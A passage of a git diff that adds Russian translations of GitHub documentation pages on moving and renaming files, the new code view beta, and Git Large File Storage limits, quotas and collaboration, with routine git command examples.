вытягивание](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests) в исходный репозиторий после того, как вы зафиксируете внесенное изменение. +- Некоторые файлы, например образы, требуют перемещения из командной строки. Дополнительные сведения см. в разделе [Перемещение файла в новое расположение с помощью командной строки](/articles/moving-a-file-to-a-new-location-using-the-command-line). +- {% data reusables.repositories.protected-branches-block-web-edits-uploads %} + +{% endtip %} + +1. В репозитории перейдите к файлу, который вы хотите переместить. +2. В правом верхнем углу представления файла щелкните {% octicon "pencil" aria-label="The edit icon" %}, чтобы открыть редактор файлов. +![Значок редактирования файлов](/assets/images/help/repository/move-file-edit-file-icon.png) +3. В поле "Имя файла" измените имя файла согласно следующим рекомендациям: ![Изменение имени файла](/assets/images/help/repository/moving_files.gif) + - Чтобы переместить файл **во вложенную папку**, введите имя нужной папки, а затем `/`. Имя новой папки станет новым элементом на панели навигации. + - Чтобы переместить файл в каталог **над текущим расположением файла**, поместите курсор в начало поля имени файла, а затем введите `../`, чтобы перейти на один полный уровень каталога вверх, или введите ключ `backspace`, чтобы изменить имя родительской папки. +{% data reusables.files.write_commit_message %} {% data reusables.files.choose_commit_branch %} {% data reusables.files.propose_file_change %} + +## Перемещение файла в новое расположение с помощью командной строки + +Для перемещения файлов по репозиторию с помощью командной строки нужно удалить файл из старого расположения и добавить в новое. + +Многие файлы можно [перемещать непосредственно в {% data variables.product.product_name %}](/articles/moving-a-file-to-a-new-location), но для некоторых файлов, таких как образы, необходимо использовать командную строку. + +{% data reusables.command_line.manipulating_file_prereqs %} + +1. На компьютере переместите файл в новое расположение в каталоге, созданном на локальном компьютере при клонировании репозитория. +{% data reusables.command_line.open_the_multi_os_terminal %} +3. Для проверки старых и новых расположений файлов используйте `git status`. + ```shell + $ git status + > # On branch YOUR-BRANCH + > # Changes not staged for commit: + > # (use "git add/rm <file>..." to update what will be committed) + > # (use "git checkout -- <file>..." to discard changes in working directory) + > # + > # deleted: /OLD-FOLDER/IMAGE.PNG + > # + > # Untracked files: + > # (use "git add <file>..." to include in what will be committed) + > # + > # /NEW-FOLDER/IMAGE.PNG + > # + > # no changes added to commit (use "git add" and/or "git commit -a") + ``` +{% data reusables.git.stage_for_commit %} Это действие приведет к удалению (команда `git rm`) файла из старого расположения и его добавлению (команда `git add`) в новое. + ```shell + $ git add . + # Adds the file to your local repository and stages it for commit. + # {% data reusables.git.unstage-codeblock %} + ``` +5. Для проверки изменений, подготовленных для фиксации, используйте `git status`. + ```shell + $ git status + > # On branch YOUR-BRANCH + > # Changes to be committed: + > # (use "git reset HEAD <file>..." to unstage) + > # + > # renamed: /old-folder/image.png -> /new-folder/image.png + # Displays the changes staged for commit + ``` +{% data reusables.git.commit-file %} + ```shell + $ git commit -m "Move file to new directory" + # Commits the tracked changes and prepares them to be pushed to a remote repository. + # {% data reusables.git.reset-head-to-previous-commit-codeblock %} + ``` +{% data reusables.git.git-push %} diff --git a/translations/ru-RU/content/repositories/working-with-files/managing-files/navigating-files-with-the-new-code-view.md b/translations/ru-RU/content/repositories/working-with-files/managing-files/navigating-files-with-the-new-code-view.md new file mode 100644 index 000000000000..d3a61a574ee8 --- /dev/null +++ b/translations/ru-RU/content/repositories/working-with-files/managing-files/navigating-files-with-the-new-code-view.md @@ -0,0 +1,161 @@ +--- +title: Navigating files with the new code view (beta) +intro: 'With the new code view (beta), you can view your code in context with an easily navigable file tree and integrated symbol search.' +allowTitleToDifferFromFilename: true +versions: + feature: file-tree-view +topics: + - Repositories +shortTitle: New code view (beta) +--- + +{% note %} + +**Note**: {% data reusables.search.code-search-code-view-beta-note %} + +{% data reusables.search.code-search-link %} + +{% endnote %} + +## About the new code view (beta) +The new code view beta improves navigation with a file tree view, simplifies file editing, introduces a symbols pane for symbol search and navigation, and updates the blame view to maintain file context. The new code view is integrated with a new code search engine and search interface in a limited public beta on {% data variables.product.prodname_dotcom_the_website %}. {% data reusables.search.code-search-link %} + +To get access to the new code view (beta), along with the new code search, you can sign up for the [waitlist](https://github.com/features/code-search-code-view/signup). + +To provide feedback on the new code view beta, see the [discussion forum](https://github.com/orgs/community/discussions/categories/repositories). + +## Enabling and disabling the new code search and code view (beta) + +{% data reusables.search.enabling-and-disabling-code-search-and-view-beta %} + +## Using the file tree view +The new file tree view is a panel that displays a repository's directories and files within an easily navigable tree. You can move between directories and files quickly and understand the context for each item you view. + +1. Select a repository, then click a directory or file within that repository to open the file tree view. + + ![Screenshot of the "github/docs" repository with emphasis on the file tree view](/assets/images/help/repository/file-tree-view-directory-selected.png) + +1. To search for a specific directory or file, click the {% octicon "filter" aria-label="The filter icon" %} **Jump to file** search bar, then type the directory or file name and select the directory or file from the results. You can view the file path for a directory or file below each search result. + + ![Screenshot of the file tree view with emphasis on the "Jump to file" search bar](/assets/images/help/repository/file-tree-view-jump-to-file.png) + + - To search within the repository using the {% data variables.product.prodname_dotcom %} search bar, click {% octicon "search" aria-label="The search icon" %}. + + ![Screenshot of the file tree view with emphasis on the search icon](/assets/images/help/repository/file-tree-view-search-icon.png) + +1. To switch between branches, select the {% octicon "git-branch" aria-label="The branch icon" %} branch dropdown menu, then click the desired branch from the results. To view all branches for a repository, click **View all branches**. + + ![Screenshot of the file tree view with emphasis on the "Branches" tab of the branch dropdown menu](/assets/images/help/repository/file-tree-view-branch-dropdown.png) + +1. To switch between tags, select {% octicon "git-branch" aria-label="The branch icon" %} branch dropdown menu, click the **Tags** tab, then click the desired tag from the results. To view all tags for a repository, click **View all tags**. + + ![Screenshot of the file tree view with emphasis on the "Tags" tab of the branch dropdown menu](/assets/images/help/repository/file-tree-view-branch-dropdown-tags.png) + +## Working with files +The new code view also includes updates to the ways in which you work with files. Existing functionality like editing a file, creating or uploading a file, and deleting a file or directory has been streamlined. You now have quick access to editing a file in github.dev or {% data variables.product.prodname_desktop %} and an integrated search-in-file function. + +1. Select a repository, then click a file within that repository to open the new code view. + + ![Screenshot of the "github/docs" repository with emphasis on a selected file in the file tree view](/assets/images/help/repository/file-tree-view-file-selected.png) + +1. To edit a file in the integrated file editor, click {% octicon "pencil" aria-label="The pencil icon" %}. + + ![Screenshot of the file editor in the new code view with emphasis on the edit icon](/assets/images/help/repository/code-view-edit-icon.png) + +1. To edit a file on the github.dev {% data variables.product.prodname_serverless %} or {% data variables.product.prodname_desktop %}, select {% octicon "triangle-down" aria-label="The downwards-facing triangle icon" %} next to {% octicon "pencil" aria-label="The pencil icon" %}, then click either **github.dev** or **{% data variables.product.prodname_desktop %}**. + + {% note %} + + **Note:** The github.dev {% data variables.product.prodname_serverless %} is currently in beta preview. You can provide feedback [in our discussions](https://github.com/community/community/discussions/categories/general). + + {% endnote %} + + ![Screenshot of the file editor in the new code view with emphasis on the edit dropdown menu](/assets/images/help/repository/code-view-edit-dropdown.png) + +1. To find specific characters within a file, view the raw code of the file by clicking the **Code** button. Next, press <kbd>Command</kbd>+<kbd>F</kbd> (Mac) or <kbd>Ctrl</kbd>+<kbd>F</kbd> (Windows/Linux) and type the characters you want to find. You can navigate between results by pressing <kbd>Return</kbd> (Mac) or <kbd>Enter</kbd> (Windows/Linux), or by clicking {% octicon "chevron-down" aria-label="The downwards-facing chevron icon" %} and {% octicon "chevron-up" aria-label="The upwards-facing chevron icon" %}. + + {% note %} + + **Note:** To use your browser's default find function, press <kbd>Command</kbd>+<kbd>F</kbd> (Mac) or <kbd>Ctrl</kbd>+<kbd>F</kbd> (Windows/Linux) twice. Be aware that your browser's default find function will not be able to search the entirety of a large file, while the search integrated in the new code view will. + + {% endnote %} + + ![Screenshot of the "Find in file" function in the new code view](/assets/images/help/repository/code-view-find-in-file.png) + +1. To add a new file to a specific directory, click that directory, then click {% octicon "plus" aria-label="The plus sign icon" %} **New file**, or click the {% octicon "plus" aria-label="The plus sign icon" %} in the file tree view. + + ![Screenshot of the file tree view with emphasis on the plus icon](/assets/images/help/repository/file-tree-view-new-file-icon.png) + +1. To delete a directory or file, navigate to the directory or file and click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} . Then, click **Delete directory** or **Delete file**. + + ![Screenshot of the options menu in the new code view with emphasis on the "Delete directory" option](/assets/images/help/repository/code-view-delete-directory.png) + +1. To upload a file, navigate to the chosen directory, then click {% octicon "upload" aria-label="The upload icon" %} **Upload files** or drag and drop the file into your browser. + + ![Screenshot of the "Upload files" button in the new code view](/assets/images/help/repository/code-view-upload-files.png) + +## Using the symbols pane +You can now quickly view and navigate between symbols such as functions or classes in your code with the symbols pane. You can search for a symbol in a single file, in all files in a repository, or even in all public repositories on {% data variables.product.prodname_dotcom %}. + +Symbol search is a feature of the new code search (beta). For more information, see "[Understanding GitHub Code Search (beta) syntax](/search-github/github-code-search/understanding-github-code-search-syntax#symbol-qualifier)." + +1. Select a repository, then navigate to a file containing symbols. +2. To bring up the symbols pane, click {% octicon "code-square" aria-label="The code square icon" %}. + + ![Screenshot of the symbols pane icon in the new code view](/assets/images/help/repository/code-view-symbols-pane-icon.png) + + Alternatively, you can open the symbols pane by clicking an eligible symbol in your file. Clickable symbols are highlighted in yellow when you hover over them. + + ![Screenshot of a file in the new code view with emphasis on a clickable symbol](/assets/images/help/repository/code-view-clickable-symbol.png) + +1. Click the symbol you would like to find from the symbols pane or within the file itself. + + ![Screenshot of the symbols pane with emphasis on an auto-populated symbol](/assets/images/help/repository/code-view-symbols-pane-symbol.png) + + - To search for a symbol in the repository as a whole, click **Search for this symbol in this repository**. To search for a symbol in all repositories on {% data variables.product.prodname_dotcom %}, click **all repositories**. + + ![Screenshot of the symbols pane with emphasis on the options to broaden the scope of the search for a symbol](/assets/images/help/repository/code-view-symbols-pane-expand-search.png) + +1. To navigate between references to a symbol, click {% octicon "chevron-down" aria-label="The downwards-facing chevron icon" %} or {% octicon "chevron-up" aria-label="The upwards-facing chevron icon" %}. + + ![Screenshot of the symbols pane with emphasis on the search navigation chevrons](/assets/images/help/repository/code-view-symbol-result-navigation.png) + +1. To navigate to a specific reference to a symbol, click a result of the symbol search under {% octicon "chevron-down" aria-label="The downwards-facing chevron icon" %} **In this file**. + + ![Screenshot of the symbols pane with emphasis on a result of the symbol search](/assets/images/help/repository/code-view-symbol-search-result.png) + +1. To exit the search for a specific symbol, click {% octicon "arrow-left" aria-label="The left arrow icon" %} **All Symbols**. + + ![Screenshot of the symbols pane with emphasis on the "All Symbols" button](/assets/images/help/repository/code-view-symbols-pane-all-symbols.png) + +## Using the blame view +Rather than losing file context when you enter the blame view, you can now use the new code view to quickly toggle between the blame view, the raw code view, and the preview for a file (depending on the file type). + +1. Select a repository, then click a file within that repository to open the new code view. + + ![Screenshot of the "github/docs" repository with emphasis on a selected file in the file tree view](/assets/images/help/repository/file-tree-view-file-selected.png) + +1. To see the revision history of the file, click **Blame**. This view gives you a line-by-line revision history, with the code in a file separated by commit. Each commit lists the author, commit description, and commit date. + + ![Screenshot of the new code view with emphasis on the "Blame" button](/assets/images/help/repository/code-view-blame-button.png) + + - To see versions of a file before a particular commit, click {% octicon "versions" aria-label="The versions icon" %}. + + ![Screenshot of a commit in the blame view with emphasis on the versions icon](/assets/images/help/repository/code-view-blame-hide-commit.png) + + - To see more detail about particular commits, click the commit description. + + ![Screenshot of a commit in the blame view with emphasis on the commit description](/assets/images/help/repository/code-view-blame-commit-description.png) + +1. To return to the raw code view, click **Code**. + + ![Screenshot of the code view toolbar with emphasis on the code view button](/assets/images/help/repository/code-view-button.png) + + - If you are viewing a Markdown file, you can also click **Preview** to return to the view with Markdown formatting applied. + + ![Screenshot of the code view toolbar with emphasis on the Markdown preview button](/assets/images/help/repository/code-view-preview-button.png) + +## Further reading + +- "[Moving a file to a new location](/repositories/working-with-files/managing-files/moving-a-file-to-a-new-location)" +- "[About GitHub Code Search (beta)](/search-github/github-code-search/about-github-code-search)" diff --git a/translations/ru-RU/content/repositories/working-with-files/managing-files/renaming-a-file.md b/translations/ru-RU/content/repositories/working-with-files/managing-files/renaming-a-file.md new file mode 100644 index 000000000000..d6caa03823fe --- /dev/null +++ b/translations/ru-RU/content/repositories/working-with-files/managing-files/renaming-a-file.md @@ -0,0 +1,75 @@ +--- +title: Переименование файла +intro: 'Любой файл в репозитории можно переименовать непосредственно в {% data variables.product.product_name %} или с помощью командной строки.' +redirect_from: + - /articles/renaming-a-file + - /github/managing-files-in-a-repository/renaming-a-file + - /articles/renaming-a-file-using-the-command-line + - /github/managing-files-in-a-repository/renaming-a-file-using-the-command-line + - /github/managing-files-in-a-repository/managing-files-on-github/renaming-a-file + - /github/managing-files-in-a-repository/managing-files-using-the-command-line/renaming-a-file-using-the-command-line +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +ms.openlocfilehash: f841c1f2071d59b28b04681528ba4420fc5b08e4 +ms.sourcegitcommit: 5f40f9341dd1e953f4be8d1642f219e628e00cc8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/04/2022 +ms.locfileid: '148009856' +--- +## Переименование файла в {% data variables.product.product_name %} + +Переименование файла позволяет также [переместить файл в новое расположение](/articles/moving-a-file-to-a-new-location). + +{% tip %} + +**Совет**. + +- Если вы попытаетесь переименовать файл в репозитории, к которому у вас нет доступа, мы создадим вилку проекта к вашей личной учетной записи и поможем отправить [запрос на вытягивание](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests) в исходный репозиторий после того, как вы зафиксируете внесенное изменение. +- Имена файлов, создаваемых через веб-интерфейс, могут содержать только буквенно-цифровые символы и дефисы (`-`). Чтобы использовать другие символы, создайте и зафиксируйте файлы локально, а затем отправьте их в репозиторий. +- Некоторые файлы, например изображения, переименовываются из командной строки. Дополнительные сведения см. в разделе [Переименование файла с помощью командной строки](/articles/renaming-a-file-using-the-command-line). + +{% endtip %} + +1. В репозитории перейдите к файлу рабочего процесса, который вы хотите переименовать. +2. В правом верхнем углу представления файла щелкните {% octicon "pencil" aria-label="The edit icon" %}, чтобы открыть редактор файлов. +![Значок редактирования файлов](/assets/images/help/repository/edit-file-icon.png) +3. Измените имя файла по своему желанию в поле имени файла. Одновременно можно обновить и содержимое этого файла. +![Редактирование имени файла](/assets/images/help/repository/changing-file-name.png) {% data reusables.files.write_commit_message %} {% data reusables.files.choose_commit_branch %} {% data reusables.files.propose_file_change %} + +## Переименование файла с помощью командной строки + +Любой файл в репозитории можно переименовать через командную строку. + +Многие файлы можно [переименовывать непосредственно в {% data variables.product.product_name %}](/articles/renaming-a-file), но для некоторых файлов, таких как изображения, необходимо использовать командную строку. + +{% data reusables.command_line.manipulating_file_prereqs %} + +{% data reusables.command_line.open_the_multi_os_terminal %} {% data reusables.command_line.switching_directories_procedural %} +3. Переименуйте файл, указав старое имя файла и имя, на которое вы хотите его изменить. Это позволит зафиксировать внесенное изменение. + ```shell + $ git mv OLD-FILENAME NEW-FILENAME + ``` +4. Для проверки старых и новых имен файлов используйте `git status`. + ```shell + $ git status + > # On branch YOUR-BRANCH + > # Changes to be committed: + > # (use "git reset HEAD <file>..." to unstage) + > # + > # renamed: OLD-FILENAME -> NEW-FILENAME + > # + ``` +{% data reusables.git.commit-file %} + ```shell + $ git commit -m "Rename file" + # Commits the tracked changes and prepares them to be pushed to a remote repository. + # {% data reusables.git.reset-head-to-previous-commit-codeblock %} + ``` +{% data reusables.git.git-push %} + diff --git a/translations/ru-RU/content/repositories/working-with-files/managing-large-files/about-git-large-file-storage.md b/translations/ru-RU/content/repositories/working-with-files/managing-large-files/about-git-large-file-storage.md new file mode 100644 index 000000000000..d4981663488f --- /dev/null +++ b/translations/ru-RU/content/repositories/working-with-files/managing-large-files/about-git-large-file-storage.md @@ -0,0 +1,65 @@ +--- +title: Сведения о хранилище больших файлов Git Large File Storage +intro: 'На {% data variables.product.product_name %} допустимый размер файлов в репозиториях ограничен. Чтобы отслеживать файлы, размер которых превышает заданное ограничение, можно использовать {% data variables.large_files.product_name_long %}.' +redirect_from: + - /articles/about-large-file-storage + - /articles/about-git-large-file-storage + - /github/managing-large-files/about-git-large-file-storage + - /github/managing-large-files/versioning-large-files/about-git-large-file-storage +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +shortTitle: Git Large File Storage +ms.openlocfilehash: f0ab54791645dc5c36cce2880ba3ae5c9b705f35 +ms.sourcegitcommit: 06726d24e73f1175f10749d6fdcf143d6094c9a5 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/28/2022 +ms.locfileid: '148118749' +--- +## Сведения о {% data variables.large_files.product_name_long %} + +{% data variables.large_files.product_name_short %} обрабатывает большие файлы, сохраняя ссылки на файл в репозитории, но не сам файл. Для обхода архитектуры Git {% data variables.large_files.product_name_short %} создает файл указателя, который выступает в качестве ссылки на фактический файл (хранящийся в другом месте). {% data variables.product.product_name %} управляет этим файлом указателя в репозитории. При клонировании репозитория {% data variables.product.product_name %} использует файл указателя в качестве карты для перехода и поиска большого файла. + +{% ifversion fpt or ghec %} С помощью {% data variables.large_files.product_name_short %} можно хранить файлы следующего размера: + +| Продукт | Максимальный размер файла | +|------- | ------- | +| {% data variables.product.prodname_free_user %} | 2 ГБ | +| {% data variables.product.prodname_pro %} | 2 ГБ | +| {% data variables.product.prodname_team %} | 4 ГБ | +| {% data variables.product.prodname_ghe_cloud %} | 5 ГБ |{% else %} +С помощью {% data variables.large_files.product_name_short %} можно хранить в репозитории файлы до 5 ГБ. +{% endif %} + +{% data reusables.repositories.git-lfs %} + +Вы также можете использовать {% data variables.large_files.product_name_short %} с {% data variables.product.prodname_desktop %}. Дополнительные сведения о клонировании репозиториев Git LFS в {% data variables.product.prodname_desktop %} см. в разделе [Клонирование репозитория из GitHub в GitHub Desktop](/desktop/guides/contributing-to-projects/cloning-a-repository-from-github-to-github-desktop). + +{% data reusables.large_files.can-include-lfs-objects-archives %} + +## Формат файла указателя + +Файл указателя {% data variables.large_files.product_name_short %} выглядит следующим образом: + +``` +version {% data variables.large_files.version_name %} +oid sha256:4cac19622fc3ada9c0fdeadb33f88f367b541f38b89102a3f1261ac81fd5bcb5 +size 84977953 +``` + +Он отслеживает значение `version` используемого {% data variables.large_files.product_name_short %}, за которым следует уникальный идентификатор файла (`oid`). Он также сохраняет `size` окончательного файла. + +{% note %} + +**Примечания** +- {% data variables.large_files.product_name_short %} нельзя использовать с сайтами {% data variables.product.prodname_pages %}. +- {% data variables.large_files.product_name_short %} нельзя использовать с репозиториями шаблонов. + +{% endnote %} + +## Дополнительные материалы + +- [Совместная работа с помощью {% data variables.large_files.product_name_long %}](/articles/collaboration-with-git-large-file-storage) diff --git a/translations/ru-RU/content/repositories/working-with-files/managing-large-files/about-large-files-on-github.md b/translations/ru-RU/content/repositories/working-with-files/managing-large-files/about-large-files-on-github.md new file mode 100644 index 000000000000..12765fb394cc --- /dev/null +++ b/translations/ru-RU/content/repositories/working-with-files/managing-large-files/about-large-files-on-github.md @@ -0,0 +1,106 @@ +--- +title: About large files on GitHub +intro: '{% data variables.product.product_name %} limits the size of files you can track in regular Git repositories. Learn how to track or remove files that are beyond the limit.' +redirect_from: + - /articles/distributing-large-binaries + - /github/managing-large-files/distributing-large-binaries + - /github/managing-large-files/working-with-large-files/distributing-large-binaries + - /articles/removing-files-from-a-repository-s-history + - /articles/removing-files-from-a-repositorys-history + - /github/managing-large-files/removing-files-from-a-repositorys-history + - /github/managing-large-files/working-with-large-files/removing-files-from-a-repositorys-history + - /articles/conditions-for-large-files + - /github/managing-large-files/conditions-for-large-files + - /github/managing-large-files/working-with-large-files/conditions-for-large-files + - /articles/what-is-the-size-limit-for-a-repository + - /articles/what-is-my-disk-quota + - /github/managing-large-files/what-is-my-disk-quota + - /github/managing-large-files/working-with-large-files/what-is-my-disk-quota +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +shortTitle: Large files +--- + +## About size limits on {% data variables.product.product_name %} + +{% ifversion fpt or ghec %} +{% data variables.product.product_name %} tries to provide abundant storage for all Git repositories, although there are hard limits for file and repository sizes. To ensure performance and reliability for our users, we actively monitor signals of overall repository health. Repository health is a function of various interacting factors, including size, commit frequency, contents, and structure. + +### File size limits +{% endif %} + +{% data variables.product.product_name %} limits the size of files allowed in repositories. If you attempt to add or update a file that is larger than {% data variables.large_files.warning_size %}, you will receive a warning from Git. The changes will still successfully push to your repository, but you can consider removing the commit to minimize performance impact. For more information, see "[Removing files from a repository's history](#removing-files-from-a-repositorys-history)." + +{% note %} + +**Note:** If you add a file to a repository via a browser, the file can be no larger than {% data variables.large_files.max_github_browser_size %}. For more information, see "[Adding a file to a repository](/repositories/working-with-files/managing-files/adding-a-file-to-a-repository)." + +{% endnote %} + +{% ifversion ghes %}By default, {% endif %}{% data variables.product.product_name %} blocks files larger than {% data variables.large_files.max_github_size %}. {% ifversion ghes %}However, a site administrator can configure a different limit for {% data variables.location.product_location %}. For more information, see "[Setting Git push limits](/enterprise/admin/guides/installation/setting-git-push-limits)."{% endif %} + +To track files beyond this limit, you must use {% data variables.large_files.product_name_long %} ({% data variables.large_files.product_name_short %}). For more information, see "[About {% data variables.large_files.product_name_long %}](/repositories/working-with-files/managing-large-files/about-git-large-file-storage)." + +If you need to distribute large files within your repository, you can create releases on {% data variables.location.product_location %} instead of tracking the files. For more information, see "[Distributing large binaries](#distributing-large-binaries)." + +Git is not designed to handle large SQL files. To share large databases with other developers, we recommend using [Dropbox](https://www.dropbox.com/). + +{% ifversion fpt or ghec or ghae %} +### Repository size limits + +We recommend repositories remain small, ideally less than 1 GB, and less than 5 GB is strongly recommended. {% ifversion ghae %}The maximum size for a repository on {% data variables.product.product_name %} is 100 GB. {% endif %}Smaller repositories are faster to clone and easier to work with and maintain. If your repository excessively impacts our infrastructure, you might receive an email from {% data variables.contact.github_support %} asking you to take corrective action. We try to be flexible, especially with large projects that have many collaborators, and will work with you to find a resolution whenever possible. You can prevent your repository from impacting our infrastructure by effectively managing your repository's size and overall health. You can find advice and a tool for repository analysis in the [`github/git-sizer`](https://github.com/github/git-sizer) repository. + +External dependencies can cause Git repositories to become very large. To avoid filling a repository with external dependencies, we recommend you use a package manager. Popular package managers for common languages include [Bundler](http://bundler.io/), [Node's Package Manager](http://npmjs.org/), and [Maven](http://maven.apache.org/). These package managers support using Git repositories directly, so you don't need pre-packaged sources. + +Git is not designed to serve as a backup tool. However, there are many solutions specifically designed for performing backups, such as [Arq](https://www.arqbackup.com/), [Carbonite](http://www.carbonite.com/), and [CrashPlan](https://www.crashplan.com/en-us/). +{% endif %} + +## Removing files from a repository's history + +{% warning %} + +**Warning**: These procedures will permanently remove files from the repository on your computer and {% data variables.location.product_location %}. If the file is important, make a local backup copy in a directory outside of the repository. + +{% endwarning %} + +### Removing a file added in the most recent unpushed commit + +If the file was added with your most recent commit, and you have not pushed to {% data variables.location.product_location %}, you can delete the file and amend the commit: + +{% data reusables.command_line.open_the_multi_os_terminal %} +{% data reusables.command_line.switching_directories_procedural %} +3. To remove the file, enter `git rm --cached`: + ```shell + $ git rm --cached GIANT_FILE + # Stage our giant file for removal, but leave it on disk + ``` +4. Commit this change using `--amend -CHEAD`: + ```shell + $ git commit --amend -CHEAD + # Amend the previous commit with your change + # Simply making a new commit won't work, as you need + # to remove the file from the unpushed history as well + ``` +5. Push your commits to {% data variables.location.product_location %}: + ```shell + $ git push + # Push our rewritten, smaller commit + ``` + +### Removing a file that was added in an earlier commit + +If you added a file in an earlier commit, you need to remove it from the repository's history. To remove files from the repository's history, you can use the BFG Repo-Cleaner or the `git filter-branch` command. For more information see "[Removing sensitive data from a repository](/github/authenticating-to-github/removing-sensitive-data-from-a-repository)." + +## Distributing large binaries + +If you need to distribute large files within your repository, you can create releases on {% data variables.location.product_location %}. Releases allow you to package software, release notes, and links to binary files, for other people to use. For more information, visit "[About releases](/github/administering-a-repository/about-releases)." + +{% ifversion fpt or ghec %} + +We don't limit the total size of the binary files in the release or the bandwidth used to deliver them. However, each individual file must be smaller than {% data variables.large_files.max_lfs_size %}. + +{% endif %} + diff --git a/translations/ru-RU/content/repositories/working-with-files/managing-large-files/about-storage-and-bandwidth-usage.md b/translations/ru-RU/content/repositories/working-with-files/managing-large-files/about-storage-and-bandwidth-usage.md new file mode 100644 index 000000000000..e7d1d627e2b4 --- /dev/null +++ b/translations/ru-RU/content/repositories/working-with-files/managing-large-files/about-storage-and-bandwidth-usage.md @@ -0,0 +1,54 @@ +--- +title: Сведения об использовании хранилища и пропускной способности +intro: '{% data reusables.large_files.free-storage-bandwidth-amount %}' +redirect_from: + - /articles/billing-plans-for-large-file-storage + - /articles/billing-plans-for-git-large-file-storage + - /articles/about-storage-and-bandwidth-usage + - /github/managing-large-files/about-storage-and-bandwidth-usage + - /github/managing-large-files/versioning-large-files/about-storage-and-bandwidth-usage +versions: + fpt: '*' + ghec: '*' +shortTitle: Storage & bandwidth +ms.openlocfilehash: 8a6dd01c62b5b1c69afe29536e3d4ba206e988e7 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147883030' +--- +{% data variables.large_files.product_name_short %} доступен для каждого репозитория на {% data variables.product.product_name %}, независимо от того, есть ли у вашей учетной записи или организации платная подписка. + +## Отслеживание использования хранилища и пропускной способности + +При фиксации и отправке изменений в файл, отслеживаемый с помощью {% data variables.large_files.product_name_short %}, отправляется новая версия всего файла, а общий размер файла учитывается в ограничении хранилища владельца репозитория. При скачивании файла, отслеживаемого с помощью {% data variables.large_files.product_name_short %}, общий размер файла учитывается в ограничении пропускной способности владельца репозитория. Отправки {% data variables.large_files.product_name_short %} не учитываются в ограничении пропускной способности. + +Пример: +- Если вы отправляете файл размером 500 МБ в {% data variables.large_files.product_name_short %}, вы используете 500 МБ выделенного хранилища, но не используете пропускную способность. Если вы измените 1 байт и снова отправите файл, вы используете еще 500 МБ хранилища без использования пропускной способности. Итого: 1 ГБ хранилища и 0 пропускной способности. +- При скачивании файла размером 500 МБ, отслеживаемого с помощью LFS, вы используете 500 МБ выделенной пропускной способности владельца репозитория. Если участник отправит изменения в файл и вы извлечете новую версию в локальный репозиторий, вы используете еще 500 МБ пропускной способности, то есть всего 1 ГБ пропускной способности. +- Если {% data variables.product.prodname_actions %} скачивает файл на 500 МБ, отслеживаемый с помощью LFS, он использует 500 МБ выделенной пропускной способности владельца репозитория. + +{% ifversion fpt or ghec %} Если объекты {% data variables.large_files.product_name_long %} ({% data variables.large_files.product_name_short %}) включены в архивы исходного кода репозитория, загрузка этих архивов будет учитываться в использовании пропускной способности репозитория. Дополнительные сведения см. в разделе [Управление объектами {% data variables.large_files.product_name_short %} в архивах репозитория](/github/administering-a-repository/managing-git-lfs-objects-in-archives-of-your-repository). +{% endif %} + +{% tip %} + +**Совет**. +- {% data reusables.large_files.owner_quota_only %} +- {% data reusables.large_files.does_not_carry %} + +{% endtip %} + +## Квота хранилища + +Если вы используете более {% data variables.large_files.initial_storage_quota %} хранилища без приобретения пакета данных, вы по-прежнему можете клонировать репозитории с большими ресурсами, но будете извлекать только файлы указателя и не сможете отправлять резервные копии новых файлов. Дополнительные сведения о файлах указателя см. в разделе [Сведения о {% data variables.large_files.product_name_long %}](/github/managing-large-files/about-git-large-file-storage#pointer-file-format). + +## Квота пропускной способности + +Если вы используете более {% data variables.large_files.initial_bandwidth_quota %} пропускной способности в месяц без приобретения пакета данных, поддержка {% data variables.large_files.product_name_short %} будет отключена в вашей учетной записи до следующего месяца. + +## Дополнительные материалы + +- [Просмотр сведений об использовании {% data variables.large_files.product_name_long %}](/articles/viewing-your-git-large-file-storage-usage) +- [Управление выставлением счетов для {% data variables.large_files.product_name_long %}](/articles/managing-billing-for-git-large-file-storage) diff --git a/translations/ru-RU/content/repositories/working-with-files/managing-large-files/collaboration-with-git-large-file-storage.md b/translations/ru-RU/content/repositories/working-with-files/managing-large-files/collaboration-with-git-large-file-storage.md new file mode 100644 index 000000000000..1831878325cf --- /dev/null +++ b/translations/ru-RU/content/repositories/working-with-files/managing-large-files/collaboration-with-git-large-file-storage.md @@ -0,0 +1,52 @@ +--- +title: Совместная работа с помощью Git Large File Storage +intro: 'Включив {% data variables.large_files.product_name_short %}, вы сможете получать, изменять и отправлять большие файлы так же, как и файлы, которыми управляет Git. Однако пользователи без {% data variables.large_files.product_name_short %} используют другой рабочий процесс.' +redirect_from: + - /articles/collaboration-with-large-file-storage + - /articles/collaboration-with-git-large-file-storage + - /github/managing-large-files/collaboration-with-git-large-file-storage + - /github/managing-large-files/versioning-large-files/collaboration-with-git-large-file-storage +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +shortTitle: Collaboration +ms.openlocfilehash: 4589487059e2949da64ebf40e8a602703fed2c01 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145136511' +--- +Если у участников совместной работы не установлен {% data variables.large_files.product_name_short %}, у них не будет доступа к исходному большому файлу. Если они попытаются клонировать репозиторий, они смогут получить только файлы указателя и не будут иметь доступа к фактическим данным. + +{% tip %} + +**Совет.** Чтобы помочь пользователям без {% data variables.large_files.product_name_short %}, установите для участников репозитория правила работы с большими файлами. Например, попросите участников не изменять большие файлы или отправлять изменения в службу обмена файлами, такую как [Dropbox](http://www.dropbox.com/) или <a href="https://drive.google.com/" data-proofer-ignore>Google Диск</a>. Дополнительные сведения см. в разделе [Настройка инструкций для участников репозитория](/communities/setting-up-your-project-for-healthy-contributions/setting-guidelines-for-repository-contributors). + +{% endtip %} + +## Просмотр больших файлов в запросах на вытягивание + +{% data variables.product.product_name %} не отрисовывает 